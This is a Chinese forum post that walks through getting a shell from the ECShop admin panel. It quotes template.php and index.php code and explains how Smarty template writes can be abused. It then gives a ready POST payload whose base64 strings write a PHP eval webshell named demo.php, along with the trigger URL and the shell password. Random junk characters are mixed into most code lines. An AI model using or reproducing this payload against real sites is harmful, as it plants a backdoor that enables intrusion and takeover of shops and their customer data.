找回密码
 立即注册
查看: 2932|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板9 H. ]" }0 g' P
3 [; ~* J# G' a5 a
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了7 z, @4 q, J* A; `
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码" ]# M: a; o5 n9 C
admin/template.php
: l. m& y* z* t& D" O, x8 T) ^# {" |
1 if ($_REQUEST['act'] == 'update_library')
( I, Q( J7 t6 O; C* }) d% A( u3 f% l: E
2   
3 F! m+ F  d0 V. |0 d7 m
8 A; E  W4 ]& O( a- m8 t3 { ! ?0 i9 b, `9 L: [5 m9 D3 j! t, X
5 s2 X& [, M8 e" P: A) q8 m
4     check_authz_json('library_manage');
  o" ^$ @' w2 \$ E8 |9 a$ ], H" [; c+ S9 l6 r* p6 B
5   
7 A' g5 _% S1 t7 c" n- g; J3 Y
5 l- B% V; E& n3 c- o6     $html = stripslashes(json_str_iconv($_POST['html'])); 6 m1 y4 p" T; e& F
5 f- {* v7 N: l
7   * u# I8 L1 Y: m8 W0 h
$ `6 i  T# h% e5 z( p" Y
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 G! [6 t! Z% p8 p  c$ L8 i+ b( m
5 G8 L3 Y- E6 _6 h6 j9   , O/ Z* i6 B7 H' ^3 W$ m

7 q+ V% I0 S$ X10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 9 `9 I: Y. K6 O( b

% B& W  _4 Q3 t& p11   
  R8 `7 \1 ?  ~- G& |. x9 y2 N# p1 \  M6 K: C/ i
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
4 [# ~( q1 k8 f7 W
! y3 Y0 A1 X; ?7 D8 g$ }6 T& N13   1 }+ k  [* v2 }3 P- P# }; A1 c; `

7 d% P" ]* L; z! |5 s8 K% i14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
2 `/ ?  n9 W" ^, L
3 N# J' G/ P2 o6 z- o& E15     { ; a. d6 e  O- v  o. D/ L& q* a* v/ ~
2 t1 o  M+ K0 h+ R; D$ N
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
4 P' C( j( U1 n) T* }& ?( p  E
4 f' {$ r: D* P17         make_json_result('', $_LANG['update_lib_success']);
1 f- {6 e# h; m4 s$ B5 `% Q* I8 C9 n- |+ z8 y, b$ o
18     }
2 b/ t* _, \3 @7 I! b5 X& X
0 z; m1 X9 o7 o  H4 M$ h; @19     else
# L/ V% Z+ N) d( v3 Q3 S) j! A% w' \% V+ w7 Z& w1 I$ H
20     {
8 ^9 w% g# B4 h# v- f' l
* X. s/ j' R# D7 ^- C8 w21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); $ e  V, Q9 i) w6 Q- {0 J6 H7 {

4 ?3 C4 i) h- h5 ?# ^/ U$ ^8 C22     } ' o$ P/ `* Y, T) D4 b3 R

; p. s. G0 G1 U- W1 z6 O3 r23 }
) b, X& Z- @3 q4 w% l4 m$ C; s! A: `( I! c# p8 e4 R  D# Y
那么找个比较方便调用了模板的文件
6 o. r9 o+ c) y6 nindex.php; C' Z  D  ?- F- y8 r3 v; ~. \
5 K3 |- L+ i0 n, _. k2 f
1 if ($act == 'cat_rec')
9 o$ i: N' p1 l  m# P3 Q* {# a3 Q: i, L" R5 J
2   / I4 ~1 _  o% N, J$ M) f1 W
/ t+ F7 o' G, E8 \( ~' A: q+ l
3 {
2 u! a1 {5 V* A+ `, j
; g1 _2 N6 P6 b5 K7 o4   
* F- u, G  Z% @6 ^" g) q
, D# m& x1 v& }! L1 q5 C5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
! o1 ~, y0 v0 K. x9 V8 K0 ]' F( Q* W$ u/ I0 c% l
6   
3 N% ?) a/ K: @# z9 L, ]8 I" P8 q9 |/ [7 z& A
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- r& W; W$ T; F: M0 c
6 {) w* Q# r; D6 [8 Z8   5 J/ P8 j2 d& e0 K3 y% b# I

. N4 X& z6 Y# }) S! b+ f8 ]9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
0 X1 C  N3 K2 a; K4 \* V. z, p9 W
10   
6 Z, V  @: P* h* g' b9 a; w( `6 t7 u) X/ b" ^" c
11     include_once('includes/cls_json.php'); / _0 R. h) D) ^0 Z# F

' J4 A  d9 L  z8 h( W4 b* P12   5 Q/ C( [0 d! h
( }6 O  p$ b+ r# w
13     $json = new JSON; 1 i7 i9 U0 C, e/ s8 {7 v
- {, S, N4 F; A/ @/ Q
14   0 `# }0 o0 r! q- {1 K: |

( J& K+ O: f! E/ ]' g15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ' E0 _5 a, }7 u* y
+ I/ h$ k# s  s# Z. m0 P' j
16   
% D. F4 Y: p2 r/ W6 y8 s, N0 E8 p7 e1 M( I5 i' R7 P
17     $children = get_children($cat_id);   k, O; h. C6 {2 V) C# d; B. P* W

, B' D) |; e' ^- m" a2 S! L' g18   - K" I1 x) \: M! Q' i1 Z

5 N, j2 i4 G8 c8 W% d$ t# I1 W19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# m% Y; G/ c6 b8 r4 Z9 @2 w0 o
) l! p$ V+ E4 R20   
, T. b& ]3 V# x, o3 t
4 D1 ]7 B4 E2 Y% _( ~21     $smarty->assign('cat_rec_sign', 1);
) _8 T8 P9 ?7 Q* l
* L" n$ o. ~+ v& D22   ) i1 i8 P0 i/ z5 o' o

* g" {/ r, H8 o0 d& _23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 1 e& \5 P6 n' X$ a  J& Y% ?
. E$ G9 j- q0 G) h7 b" S
24   , L4 u1 v) K. W+ {2 m

/ d4 C- o+ ~$ N# h, N. }, l25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; - k6 Q2 T3 u& p8 f

" ^+ v9 W3 T1 R& s6 i( n6 A26   6 J* y! ~5 e3 Z' F2 @# k  n8 W, e
- b% F- i% O/ @0 ~5 N
27         echo $rec_array[$rec_type];
4 m5 A& \8 A% Q% `! m* l7 O2 @" X: @: Q) q7 R( X9 K, F
28   / Q( B/ I* Y7 X( @; ^6 E
9 j. E( f* o1 J% v" y3 I- s; `
29     die($json->encode($result));
: f) R8 S3 O& ~8 q$ m; V
7 P/ w+ }. j1 R& m, U' A7 ~30   # `9 r8 E  H9 j; a8 J5 M! s1 G
+ I% C; F8 o* k
31 }
8 n% l- r& Z6 x2 D0 W1 W' q2 Q! x$ i, N, G/ X- O3 |2 `
那么就有利用方法了) i0 Q& F7 g4 L  s
post包到http://localhost/ec/admin/template.php?act=update_library0 E  P% t. c$ }+ @4 {4 O7 H: `# U
Post内容:: K3 V+ z# g. T3 ]+ S; c0 u4 N
; \+ e6 e3 U4 d8 o. i! e" U$ P8 X
: @6 U9 ~0 J5 b, }3 h
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 4 h5 `* O1 O8 x8 R& C  R3 G2 H
/ G# Z" o- ~; U3 X
然后访问http://localhost/ec/index.php?act=cat_rec5 _  w: Q$ S5 o3 Z  y& n
8 \4 `: m; D/ x& f! b
shel地址:http://localhost/ec/demo.php# u8 A$ n: G. ^
密码c; @4 ]  x" @6 j: Z0 L
  z) _, Z' Q+ y8 U$ i$ k  x6 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表